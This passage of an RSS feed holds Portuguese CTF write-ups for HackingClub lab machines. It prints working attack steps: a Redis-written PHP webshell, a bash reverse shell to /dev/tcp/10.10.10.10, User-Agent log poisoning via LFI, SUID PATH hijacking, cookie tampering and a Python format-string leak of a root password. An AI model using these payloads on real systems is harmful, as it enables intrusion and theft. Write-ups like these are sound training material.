SET webshell &quot;&lt;?php system($_GET[&#39;cmd&#39;]); ?&gt;&quot;<br>172.16.14.17:6379&gt; CONFIG SET dir /var/www/html<br>172.16.14.17:6379&gt; CONFIG SET dbfilename shell.php<br>172.16.14.17:6379&gt; SAVE<br>(error) ERR</pre><p>Mas eu tive um problema, o SAVE falhou!</p><p>Mas então lembrei do diretório /search que encontramos durante enumeração, mandei pra lá funcionou! /var/www/html/search</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*qdLAJAJVLYbHjIDNA9VsEQ.png" /></figure><p>Aqui está nossa queria webshelzin.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/513/1*UQngUmrqQCfR9qj8lAy1dA.png" /></figure><p>Tudo certo para começar o proximo passo, uma reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*y7dtVbYOMGdmnKZwtL3eWA.png" /><figcaption>Logamos com o usuario John!</figcaption></figure><h3>Estabelecendo Reverse Shell</h3><p>Com a webshell criada em /search/webshelzin.php, foi possível estabelecer uma reverse shell:</p><pre># Listener<br>nc -lvnp 4444<br><br># Payload via webshell<br>http://172.16.7.103/search/shell.php?cmd=bash -c &#39;bash -i &gt;&amp; /dev/tcp/10.10.10.10/4444 0&gt;&amp;1&#39;</pre><p>Eu tentei passei direto, mas não funcionou (como eu havia imaginado), então passei um URL Enconde, e agora sim!</p><pre>http://172.16.7.103/search/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261%27</pre><p><strong>Usuário obtido</strong>: john</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*wdHz19AzXSH_HqucPeMCHg.png" /></figure><h3>Fase 5: Database Exploitation e Password Cracking</h3><h3>Acesso ao MySQL</h3><p>Não encontrei a flag com esse usuário, então o próximo passo foi voltar e usar a senha que pegamos no AuthController.php, e buscar por info no banco de dados.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pOrsVoZMqVf-qEcgIGbKiw.png" /><figcaption>Com o acesso ao MySQL, consegui info sobre o usuario sysadmin.</figcaption></figure><p>A senha estava estava com hash de bcrypt, usei o hashcat para quebrar, foi bem rápido até, 7 segundos.</p><pre>hashcat -m 3200 -a 0 hashes.txt rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pq4luei6-ApfR3xtBWRo7Q.png" /></figure><p>Com a senha do Sysadmin, agora era hora de logar com a conta desse usuario.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*PG98DbbnU8jXhyaBFgBV3g.png" /></figure><p>Depois disso foi facil encontrar 3 flag;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/1*rsUTRWOQ3BjHDee7-_MjrQ.png" /></figure><p>Interessante foi item em vermelho chamado code, possivelmente uma dica para a próxima flag.</p><h3>Análise do Binário CODE</h3><p>Fiz uma analise básica, para entender o que era e as permissões do arquivo em questão.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rpERveI22iZ3WtyCTJdYxg.png" /></figure><p>Esta seção representa uma das descobertas mais críticas na nossa fase de escalação de privilégios. Vou detalhar cada aspecto do que estamos vendo aqui.</p><p>A Saída do ls -la code</p><pre>-rwsr-xr-x 1 root root 8328 Mar  6  2022 code</pre><h4>Permissões do Arquivo: -rwsr-xr-x</h4><ul><li><strong>-</strong>: Este é um arquivo regular (não um diretório d ou link l)</li><li><strong>rws</strong>: Permissões do proprietário (root)</li><li><strong>r</strong>: Root pode ler o arquivo</li><li><strong>w</strong>: Root pode escrever no arquivo</li><li><strong>s</strong>: <strong>CRÍTICO</strong> - Este é o bit SUID ao invés do x normal</li></ul><h4>Por que Isso é uma Mina de Ouro para Atacantes</h4><p><strong>Condições da Tempestade Perfeita:</strong></p><ol><li><strong>Bit SUID definido</strong> — Executa como root</li><li><strong>Pertence ao root</strong> — Privilégios máximos</li><li><strong>Executável por todos</strong> — Qualquer usuário pode executar</li><li><strong>Localizado no diretório do usuário</strong> — Fácil acesso</li><li><strong>Binário customizado</strong> — Provavelmente tem vulnerabilidades</li></ol><h4>Técnicas Comuns de Exploração SUID</h4><h4>1. Execução Direta de Comandos</h4><p>Se o binário executa comandos do sistema, podemos tentar:</p><ul><li>Injetar comandos</li><li>Manipular argumentos</li><li>Explorar o parsing de comandos</li></ul><h4>2. Path Hijacking (Nosso método bem-sucedido)</h4><p>Se o binário chama outros programas sem caminhos completos:</p><pre># Binário chama &quot;date&quot; ao invés de &quot;/bin/date&quot;<br># Podemos criar um &quot;date&quot; malicioso em /tmp<br># Modificar PATH para encontrar nossa versão primeiro</pre><h4>3. Library Hijacking</h4><p>Como é dinamicamente linkado, podemos potencialmente:</p><ul><li>Substituir bibliotecas compartilhadas</li><li>Usar LD_PRELOAD para injetar código</li></ul><h4>4. Buffer Overflow</h4><p>Binários customizados frequentemente têm:</p><ul><li>Problemas de validação de entrada</li><li>Vulnerabilidades de corrupção de memória</li></ul><h4>🏴‍☠️ Processo de Exploração</h4><p><strong>Passo 1: Entendendo o comportamento</strong></p><p><strong>Passo 2: Hipótese</strong></p><ul><li>Binário provavelmente chama o comando date internamente</li><li>Provavelmente usa system(&quot;date&quot;) ou similar</li></ul><p><strong>Passo 3: Configuração do Path Hijacking</strong></p><pre># Criar comando date malicioso<br>echo &#39;#!/bin/bash&#39; &gt; /tmp/date<br>echo &#39;/bin/bash&#39; &gt;&gt; /tmp/date<br>chmod +x /tmp/date<br><br># Sequestrar PATH<br>export PATH=/tmp:$PATH<br><br># Executar o codigo<br>./code</pre><p>Foi mais tranquilo do que eu pensei;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*8OQC6Q1LcWRjGpZhRKPh_g.png" /><figcaption>O root veio!</figcaption></figure><p>Depois disso era so buscar a ultima flag para fechar o desafio!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*JUZKohqF4gnDa2PtyjTidg.png" /><figcaption>Ultima flag capturada!</figcaption></figure><h3>Por que o Path Hijacking Funcionou</h3><p><strong>O código vulnerável provavelmente era assim:</strong></p><pre>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br><br>int main() {<br>    printf(&quot;Custom print date: \n&quot;);<br>    system(&quot;date&quot;);  // VULNERÁVEL - sem caminho completo!<br>    return 0;<br>}</pre><p>Ao invés de código seguro:</p><pre>system(&quot;/bin/date&quot;);  // SEGURO - caminho completo</pre><p>Esta descoberta foi a peça final do nosso quebra-cabeça de escalação de privilégios, demonstrando como um único binário mal configurado pode levar ao comprometimento completo do sistema.</p><h3>Resumo das Vulnerabilidades Exploradas</h3><h3>1. Information Disclosure</h3><ul><li><strong>Git Exposed</strong>: Código fonte completo exposto.</li></ul><h3>2. Authentication Bypass</h3><ul><li><strong>Weak Credentials</strong>: admin:admin para admin panel.</li><li><strong>Password Cracking</strong>: Hashes bcrypt quebrados com hashcat.</li></ul><h3>3. Server-Side Request Forgery (SSRF)</h3><ul><li><strong>Endpoint</strong>: /admin-secret-panel/index.php?action=unlock_panel_for_test</li><li><strong>Impact</strong>: Acesso a serviços internos (Redis).</li></ul><h3>4. Local File Inclusion (LFI)</h3><ul><li><strong>Vector</strong>: Protocolo file:/// via formulário SSRF.</li><li><strong>Impact</strong>: Leitura completa do filesystem.</li></ul><h3>5. Database Exposure</h3><ul><li><strong>Redis</strong>: Credenciais em arquivo de configuração.</li><li><strong>MySQL</strong>: Credenciais hardcoded no código fonte.</li></ul><h3>6. Remote Code Execution (RCE)</h3><ul><li><strong>Vector</strong>: Redis write to webroot + webshell.</li><li><strong>Impact</strong>: Execução de comandos como usuário web.</li></ul><h3>7. Privilege Escalation</h3><ul><li><strong>SUID Binary</strong>: Binário com setuid bit explorado via path hijacking.</li><li><strong>Impact</strong>: Escalação de sysadmin para root.</li></ul><h3>Lições Aprendidas e Mitigações</h3><h3>Mitigações por Vulnerabilidade</h3><p><strong>Git Exposed</strong></p><ul><li>Configurar .gitignore adequadamente.</li><li>Remover .git de ambientes de produção.</li><li>Usar ferramentas de scan para verificar exposição.</li></ul><p><strong>SSRF</strong></p><ul><li>Validar e sanitizar URLs de entrada.</li><li>Implementar whitelist de hosts permitidos.</li><li>Usar bibliotecas seguras para requisições HTTP.</li></ul><p><strong>LFI</strong></p><ul><li>Nunca passar input do usuário diretamente para funções de arquivo.</li><li>Implementar validação rigorosa de paths.</li><li>Usar chroot ou containers para isolamento.</li></ul><p><strong>Database Security</strong></p><ul><li>Nunca hardcodar credenciais no código.</li><li>Usar variáveis de ambiente ou vaults.</li><li>Implementar princípio do menor privilégio.</li></ul><p><strong>SUID Binaries</strong></p><ul><li>Evitar SUID quando possível.</li><li>Usar paths absolutos em binários SUID.</li><li>Implementar validação rigorosa de entrada.</li></ul><h3>Metodologia de Approach</h3><p>Este CTF demonstrou a importância de uma abordagem metodológica:</p><ol><li><strong>Reconnaissance sistemático.</strong></li><li><strong>Enumeração completa de serviços.</strong></li><li><strong>Análise de código fonte quando disponível.</strong></li><li><strong>Encadeamento de vulnerabilidades.</strong></li><li><strong>Documentação completa do processo.</strong></li></ol><h3>Conclusão</h3><p>Este CTF apresentou um cenário realístico que cobriu múltiplas vulnerabilidades comuns em ambientes reais.</p><p>O encadeamento das vulnerabilidades mostrou como uma única falha de segurança (Git exposed) pode levar à compromissão completa do sistema através de uma cadeia de exploração bem executada.</p><p><strong>Total de flags capturadas</strong>: 4/4.<br><strong>Técnicas utilizadas</strong>: 7 vetores de ataque diferentes.<br><strong>Tempo aproximado</strong>: Várias horas de exploração sistemática (8hrs+)</p><p>Este exercício demonstra a importância da implementação de múltiplas camadas de segurança e da aplicação do princípio de defesa em profundidade em ambientes de produção.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1f11df87f94a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CTF Biscuit — Vai um biscoitinho modificao ae?]]></title>
            <link>https://medium.com/@silvasec/ctf-biscuit-vai-um-biscoitinho-modificao-ae-ef79d7dae205?source=rss-58a5322995c3------2</link>
            <guid isPermaLink="false">https://medium.com/p/ef79d7dae205</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-technology]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[php]]></category>
            <dc:creator><![CDATA[Jonathan M.]]></dc:creator>
            <pubDate>Tue, 05 Aug 2025 01:10:47 GMT</pubDate>
            <atom:updated>2025-08-05T01:11:54.693Z</atom:updated>
            <content:encoded><![CDATA[<h3>CTF Biscuit — Vai um biscoitinho🍪modificao ae?</h3><h3>🎯 Informações Gerais</h3><p><strong>Target:</strong> 172.16.9.251 — <strong>Biscuit</strong><br><strong>Dificuldade:</strong> Média 🐤<br><strong>Plataforma: </strong><a href="https://app.hackingclub.com/training/learning-paths/4/machine/32">HackingClub</a><strong><br>Sistema Operacional:</strong> Linux <br><strong>Tempo de Exploração:</strong> 5–6hrs (Esse foi o tempo que eu levei)<strong><br>Status: PWNED <br></strong>🎯<strong>Vulnerabilidades Conhecidas:</strong> RFI, Type Juggling, Credenciais Fracas, Manipulação de Cookies, Falha de Controle de Acesso Root</p><h3>📋 Resumo Executivo</h3><p>Este relatório documenta uma das explorações mais educativas que demonstra como vulnerabilidades aparentemente menores podem ser encadeadas para comprometimento total. Nossa jornada através da máquina “Biscuit” revelou uma cadeia de vulnerabilidades interconectadas que, quando exploradas sequencialmente, resultaram em acesso root completo. A exploração exigiu criatividade, persistência e conhecimento técnico profundo, culminando em uma das escalações de privilégio mais elegantes que já executamos.</p><h3>🏆 Flags Capturadas:</h3><ol><li><strong>Flag 1:</strong> Falha explorada — <strong>Cookie Tampering</strong></li><li><strong>Flag 2:</strong> Falha explorada —<strong> Type Juggling + RFI</strong></li><li><strong>Flag 3:</strong> Falha explorada — <strong>Format String + Privilege Escalation</strong></li></ol><p>Esta não foi apenas uma exploração técnica — foi uma jornada de descoberta que demonstra por que a segurança cibernética é tanto arte quanto ciência.</p><ul><li><strong>3 Flags Conquistadas</strong> — Cada uma mais desafiadora que a anterior</li><li><strong>5 Vulnerabilidades Exploradas</strong> — Type Juggling, Cookie Tampering, RFI, Format String, Hardcoded Secrets</li><li><strong>Incontáveis Lições Aprendidas</strong> — Sobre persistência, criatividade e elegância técnica.</li></ul><h3>🔍 Fase 1: Reconhecimento — “Batendo na Porta Principal”</h3><p>Nossa aventura começou da forma mais tradicional possível — batendo na porta principal para ver quem estava em casa.</p><h3>Descoberta Inicial</h3><pre>whatweb http://172.16.9.251</pre><p><strong>Resultados:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*kv8iGAVPB7d6oNYk9fKqiQ.png" /></figure><ul><li><strong>Apache 2.4.48</strong> + <strong>PHP 7.4.19</strong></li><li>Página de login com campos username/password</li><li>Cookie <strong>PHPSESSID</strong> presente</li></ul><p>Foi como analisar a fachada de uma casa antes de tentar entrar — queria saber que tipo de fechaduras estava enfrentando.</p><h3>Enumeração de Diretórios</h3><p>Comecei a procurar por portas dos fundos, janelas deixadas abertas, ou qualquer acesso alternativo.</p><pre>gobuster dir -u http://172.16.9.251 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html</pre><p><strong>Descobertas que mudariam tudo:</strong></p><ul><li>/index.php - Endpoint principal</li><li>/class/ - Diretório com classes PHP</li><li>/class/Auth.class.php - Classe de autenticação</li><li>/.html - Arquivo com status 403</li></ul><p>Cada descoberta era como encontrar uma peça de um quebra-cabeças complexo.</p><h3>🔓 Fase 2: O Mistério do Type Juggling — “A Porta Entreaberta”</h3><p>Foi aqui que minha jornada tomou uma direção inesperada.</p><h4>A Descoberta que Mudou Tudo</h4><p>Estava testando credenciais básicas quando algo estranho aconteceu:</p><ul><li>Credenciais admin/admin → ❌ &quot;Usuario ou senha inválido!&quot; (6906 bytes)</li><li>Credenciais admin/0 → ✅ <strong>Silêncio suspeito</strong> (6773 bytes)</li><li>Credenciais 0/0 → ✅ <strong>Mais silêncio suspeito</strong> (6773 bytes)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tzkSAu3T7aaOaKUB6r0XLw.png" /><figcaption>Com qualquer outro usuário, dava erro, mas 0:0 nao.</figcaption></figure><p><strong>O momento “Eureka!”:</strong></p><p>A diferença de exatos 133 bytes entre as respostas foi nossa primeira pista real. Era como perceber que uma porta que deveria estar trancada na verdade só estava encostada. Esses 133 bytes eram exatamente o tamanho da mensagem de erro que <strong>não estava aparecendo</strong>.</p><p>Descobri então o que estava diante de um caso clássico de <strong>Type Juggling</strong> em PHP — uma vulnerabilidade onde comparações fracas (==) podem produzir resultados inesperados. Era como ter uma chave que não deveria funcionar, mas funcionava porque a fechadura estava mal projetada.</p><h3>🎯 Fase 3: Exploração — Primeira Flag</h3><h4>Cookie Manipulation Attack</h4><p><strong>Descoberta do Login Guest:</strong></p><p>Aqui foi bem tranquilo, eu só fui tentando uma lista dos 10 usuários e senha mais utilizados que encontrei na web, e quando cheguei na guest:guest funcionou.</p><ul><li>Credenciais: guest:guest (credenciais fracas)</li><li>Obteve cookie de sessão válido</li></ul><p>Aqui tudo mudou, eu tinha um usuario e um cookie de sessão válido!</p><p><strong>Análise do Cookie:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*370W-dfJL0RkvoW7YoFAMQ.png" /><figcaption>Joguei a hash no CyberChef e era um simples base64</figcaption></figure><p><strong>O momento da verdade:</strong></p><p>Olhando para essa estrutura, uma ideia brilhante surgiu: se Type Juggling funcionava para senhas, por que não funcionaria para HMACs? Era hora de testar nossa teoria na prática.</p><p><strong>O payload que mudou o jogo:</strong></p><pre>{&quot;hmac&quot;:&quot;85570f175991dc425c443fe71f8ba8da&quot;,&quot;username&quot;:&quot;admin&quot;,&quot;expiration&quot;:1754354446}7</pre><pre>#passei no bas64 novamente, e injetei via browser, mas agora com username admin.<br>eyJobWFjIjoiODU1NzBmMTc1OTkxZGM0MjVjNDQzZmU3MWY4YmE4ZGEiLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwaXJhdGlvbiI6MTc1NDM1NDQ0Nn03</pre><p>Modifiquei o username para admin mas mantive o HMAC original. Era como tentar usar um cartão de crédito com nome trocado mas mesma assinatura - teoricamente não deveria funcionar, mas...</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*hghDLTOHS3zAA8Z9xK512w.png" /><figcaption>A primeira flag veio!</figcaption></figure><p><strong>🏆 Primeira Flag Conquistada!</strong></p><p>Era como ser pego tentando entrar pela janela, mas o alarme que disparou nos deu exatamente a informação que precisávamos: A Flag! Às vezes, ser pego é parte do plano!</p><h3>🚀 Fase 4: A Obra-Prima — “Quando 1+1=Acesso Total”</h3><p>Agora vinha a parte mais criativa da nossa jornada. Eu tinha duas vulnerabilidades distintas: Type Juggling e cookie tampering detectado.</p><p>Se o sistema detectava manipulação de cookie, mas ainda processava o conteúdo, talvez pudéssemos usar isso a nosso favor. E se o campo username não fosse apenas um identificador, mas um <strong>vetor de ataque</strong>?</p><p><strong>O payload que fez história:</strong></p><p>Mesmo esquema, peguei um reverse shell php na internet, criei o arquivo shellzin.php , subi meu servidor http e tudo pronto!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*pQO8H5oX9_dz_ml3qsgCJw.png" /></figure><p>O plano era o seguinte:</p><p>Criar um Shell localmente: Shellzin.php<br>Subir um servidor local, para transferir a shell para o servidor remoto.<br>Usar o cookie para baixar a shell para dentro do servidor remoto.<br>Torce para que fosse executado 😵‍💫.</p><p>joguei no CyberChef:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TOq6GiW_V1-NSSm8kPSDAQ.png" /><figcaption>Ta feito!</figcaption></figure><p>O plano agora era só colocar tudo em prática.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*nTRD2ghFrkl2scWwn2u-Cg.png" /><figcaption>To dentro! (eu tinha salvo o arquivo com nome errado antes, por isso os 404 😊.</figcaption></figure><p><strong>Resultado:</strong> Reverse shell como usuário apache</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*44nLUglSxjhO4Up4FeG6Aw.png" /><figcaption>Logamos com o usuario apache, melhor que nada ne!</figcaption></figure><h3>🏆 Flag 2 Capturada:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*6WJ4GR1je4xZFF8de_eEbw.png" /><figcaption>A segunda flag estava ao alcance!</figcaption></figure><h3>⬆️ Fase 5: Privilege Escalation — Terceira Flag</h3><h3>Enumeração do Sistema</h3><p><strong>Informações do Sistema:</strong></p><pre>whoami          # apache<br>id              # uid=48(apache) gid=48(apache)<br>uname -a        # Amazon Linux 2, kernel 4.14.232</pre><p><strong>Descoberta Crítica — Sudo Permissions:</strong></p><pre>sudo -l<br># User apache may run the following commands:<br># (ALL) NOPASSWD: /opt/biscuit_checker.py</pre><p>Esse sudo -l está te dizendo que o usuário apache tem permissão para <strong>executar </strong>exactamente o comando /opt/biscuit_checker.py como qualquer usuário (incluindo <strong>root</strong>) sem precisar digitar senha.</p><p>Em outras palavras:<br>(<strong>ALL</strong>): ele pode executar esse script como qualquer usuário alvo do sistema (por padrão, root).<br><strong>NOPASSWD</strong>: não vai pedir senha de sudo para rodá-lo.</p><h3>Análise do Script Python</h3><p><strong>Tentativas Iniciais (Fracassadas):</strong></p><ul><li>Command injection no menu;</li><li>Python library hijacking (bloqueado por sudo);</li><li>Environment variable manipulation (bloqueado);</li></ul><blockquote><em>Nada estava funcionando!</em></blockquote><p>Esse script python não tinha muita coisa, eu não conseguia ler o mesmo também, somente executar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*nB-Ib1w20ab2LE8SQVKCiw.png" /></figure><p>Parece que o script tinha uma função de bloquear IPs que fossem adicionados, mas nenhuma das opções eram muito funcionais.</p><h3>Descoberta do Arquivo JSON Manipulável</h3><p>Como o script fazia algo como bloquear ou listar endereços de IP’s bloqueados, eu procurei por arquivos no sistema que tivessem a palavra block envolvida, encontrei um na pasta www.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*EF7jcGBs6Fl8sRV-1tngiw.png" /></figure><p><strong>Arquivo encontrado:</strong></p><ul><li>/var/www/html/block.ips.db.json</li><li>Permissões de escrita para usuário apache</li><li>Usado pelo script Python executado como root;</li></ul><p><strong>Conteúdo inicial:</strong></p><p>Eu não fazia ideia do que fazer com isso, fiquei umas <strong>2</strong> horas pesquisando online.</p><pre>{&quot;ips&quot;:[]}</pre><p>Foi então que a dica na descrição da maquina me ajudou a chegar aonde no próximo passo; <strong>Format String</strong></p><p>Eu tentei causar errors na aplicação para estudar o output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*0ziPt1F-H-LgDyUQSLpL8A.png" /><figcaption>E aqui esta a string que vai me salvar!</figcaption></figure><p>A ideia agora era como usar isso :D.</p><p>Infinitas horas depois, eu consegui chegar na seguinte payload.</p><pre>{&quot;ips&quot;:[&quot;{ip.list_blocked.__globals__}&quot;]}</pre><p><strong>Execução:</strong></p><pre>sudo /opt/biscuit_checker.py<br># Opção 2 - List Blocked IPs</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*HTTCxj2MawMxJLK4fYJqoA.png" /></figure><p>E o resultado foi a senha do root :D.</p><p><strong>Flag Final:</strong></p><p>Com a senha do usuário root em mão, agora era so ler o ultimo arquivo de flag e terminar nosso desafio!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*mJdL3FfkhrqIhgRMxIOUIA.png" /></figure><h3>🏆 Flag 3 Capturada</h3><h3>📊 Cadeia de Exploração</h3><pre>1. Reconhecimento → Descoberta de login page<br>2. Type Juggling → Bypass parcial de autenticação  <br>3. Credenciais Fracas → Login como guest:guest<br>4. Cookie Analysis → Descoberta da estrutura JSON<br>5. HMAC Bypass → Type juggling com hmac:true<br>6. RFI Exploitation → Remote code execution via username field<br>7. Reverse Shell → Acesso como apache<br>8. Sudo Enumeration → Descoberta do script Python<br>9. File Write Permission → Controle sobre JSON file<br>10. Format String → Extração de variáveis globais<br>11. Secret Extraction → Descoberta da senha root<br>12. Privilege Escalation → su root com senha extraída</pre><h3>🛡️Monitoramento Recomendado</h3><pre># Log analysis patterns<br>grep &quot;Type juggling attempt&quot; /var/log/apache2/access.log<br>grep &quot;Cookie manipulation&quot; /var/log/security.log<br>grep &quot;RFI attempt&quot; /var/log/php_errors.log<br>grep &quot;Format string exploit&quot; /var/log/python.log</pre><h3>A Metodologia OWASP em Ação</h3><ul><li><strong>Reconhecimento sistemático</strong> — Cada porta, cada janela foi verificada</li><li><strong>Enumeração completa</strong> — Nenhum diretório foi deixado sem investigação</li><li><strong>Exploração incremental</strong> — Cada vulnerabilidade foi um degrau para a próxima</li><li><strong>Privilege escalation metódica</strong> — Do guest ao apache ao root, passo a passo</li></ul><h3>📝 Conclusão — “O Fim de Uma Jornada, Início de Muitas Outras”</h3><p>A máquina CTF “Biscuit” se revelou muito mais do que um simples desafio técnico — foi uma <strong>masterclass em pensamento criativo</strong> aplicado à segurança cibernética.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ef79d7dae205" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[☢ Da LFI ao Root via Log Poisoning ☢ — CTF Writeup]]></title>
            <link>https://medium.com/@silvasec/da-lfi-ao-root-via-log-poisoning-ctf-writeup-b753d40f2ce1?source=rss-58a5322995c3------2</link>
            <guid isPermaLink="false">https://medium.com/p/b753d40f2ce1</guid>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Jonathan M.]]></dc:creator>
            <pubDate>Sun, 03 Aug 2025 00:57:02 GMT</pubDate>
            <atom:updated>2025-08-03T00:57:02.075Z</atom:updated>
            <content:encoded><![CDATA[<h3>☢ Da LFI ao Root via Log Poisoning ☢ — CTF Writeup</h3><p><strong>Maquina</strong>: <a href="https://app.hackingclub.com/training/learning-paths/4/machine/133">Poisoning</a><br><strong>Plataforma</strong>: <a href="https://app.hackingclub.com/">https://app.hackingclub.com</a><br><strong>Dificuldade</strong>: Facil 🐣</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*NysIxFU1IPqPSPkd" /></figure><h3>🎯 Introdução</h3><p>O CTF “Poisoning” é uma máquina Linux que explora uma vulnerabilidade clássica porém devastadora: <strong>Local File Inclusion (LFI)</strong> combinada com <strong>Log Poisoning</strong> para obter Remote Code Execution (RCE). A escalação de privilégios utiliza Python com capabilities especiais (cap_setuid+ep).</p><p><strong>Dificuldade:</strong> Intermediário<br><strong>SO:</strong> Linux Ubuntu<br><strong>Técnicas:</strong> LFI, Log Poisoning, RCE, Privilege Escalation via Capabilities</p><h3>🔍 Fase 1: Reconhecimento</h3><h4>Descoberta de Serviços</h4><p>Começamos com um scan básico da máquina:</p><pre># Verificação de conectividade<br>ping -c 4 172.16.14.211<br># Scan de portas<br>nmap -sS -T4 -p- 172.16.14.211</pre><p><strong>Resultado:</strong> Apenas a porta 80 (HTTP) estava aberta e 22 (SSH), executando Apache/2.4.29 (Ubuntu).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*ruhlR8U1kL7p4k1wGdCRHA.png" /></figure><h3>Enumeração Web</h3><p>Acessando a aplicação web, encontramos uma página sobre tecnologia criada com o framework <strong>Nicepage</strong>. A página inicial mostrava conteúdo estático, mas havia um link para “Page 2” que redirecionava para /page.php.</p><p><strong>Enumeração de diretórios:</strong></p><pre>dirb http://172.16.14.211/ /usr/share/dirb/wordlists/common.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YCQ0zDPVb9o913XxeMTcGg.png" /></figure><p><strong>Descobertas importantes:</strong></p><ul><li>/images/ - Diretório com arquivos PNG</li><li>/index.php - 39277 bytes</li><li>/page.php - 39158 bytes (119 bytes menor que index.php)</li><li>/.htaccess - <strong>FORBIDDEN</strong> (arquivo existe!)</li></ul><h3>🎯 Fase 2: Análise de Vulnerabilidades</h3><h4>Identificação da Diferença Crítica</h4><p>Ao analisar o código-fonte do index.php versus page.php, encontrei uma diferença crucial na linha 35:</p><pre>&lt;!-- index.php --&gt;<br>&lt;body data-home-page=&quot;https://website721425.nicepage.io/Page-2.html?version=4d5ab4d3-2623-42f3-967b-d1e931100c62&quot; <br>      data-home-page-title=&quot;Page 2&quot; class=&quot;u-body&quot;&gt;</pre><p>Esta linha sugere que a aplicação utiliza parâmetros para carregar conteúdo.</p><h4>Descoberta do LFI</h4><p>Após extensos testes com diferentes parâmetros (page, file, include, content, view, etc.), finalmente descobri que o <strong>parâmetro </strong><strong>page no </strong><strong>index.php</strong> era vulnerável:</p><pre># Tentativa inicial<br>curl &quot;http://172.16.14.211/index.php?page=.htaccess&quot;</pre><p><strong>Observação importante:</strong> O conteúdo era refletido no HTML da página!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*wL2kqyeGTGOPGs__sXy6rA.png" /></figure><h3>Confirmação do LFI</h3><pre># Payload que funcionou<br>http://172.16.14.211/index.php?page=../../../../../etc/passwd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TsmDrCHZzDcA9orTum2lpA.png" /></figure><p><strong>Resultado:</strong> Consegui ler o /etc/passwd e identificar usuários importantes:</p><ul><li><strong>root</strong> (UID 0) — /bin/bash</li><li><strong>ubuntu</strong> (UID 1000) — /bin/bash</li><li><strong>www-data</strong> (UID 33) — Usuário do Apache</li></ul><h3>🔥 Fase 3: Log Poisoning para RCE</h3><h4>Localização dos Logs</h4><p>Com o LFI confirmado, procurei pelos logs do Apache:</p><pre># Testando diferentes caminhos<br>http://172.16.14.211/index.php?page=../../../../../var/log/apache2/access.log<br>http://172.16.14.211/index.php?page=../../../../../var/log/apache2/error.log</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9yCuexhGENaFRYEbvcw-8g.png" /></figure><p><strong>Sucesso!</strong> Consegui ler o access.log do Apache.</p><h3>Injeção de PHP via User-Agent</h3><p>O truque do Log Poisoning é injetar código PHP malicioso no log através do cabeçalho User-Agent:</p><pre># Injetando PHP no User-Agent<br>curl -A &quot;&lt;?php system(\$_GET[&#39;cmd&#39;]); ?&gt;&quot; http://172.16.14.211/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*hMGTpAJw6bmOC1U2tXZVdA.png" /></figure><h3>Execução de Comandos</h3><p>Após a injeção, o código PHP fica armazenado no log. Quando acessamos o log via LFI, o PHP é interpretado:</p><pre># Executando comandos<br>http://172.16.14.211/index.php?page=../../../../var/log/apache2/access.log&amp;cmd=ls</pre><p><strong>Resultado no log:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ESzKPRRws0eynTE--csWCg.png" /></figure><pre>10.0.31.133 - - [03/Aug/2025:00:04:06 +0000] &quot;GET / HTTP/1.1&quot; 200 39469 &quot;-&quot; &quot;Page-2.css<br>images<br>index.php<br>jquery-1.9.1.min.js<br>nicepage.css<br>nicepage.js<br>page.php&quot;</pre><p>🎉 <strong>RCE Confirmado!</strong></p><h3>🚀 Fase 4: Reverse Shell</h3><h3>Estabelecendo Conexão Reversa</h3><p>Com RCE funcional, estabeleci um reverse shell, tive que encodar a shell pois sem encode não 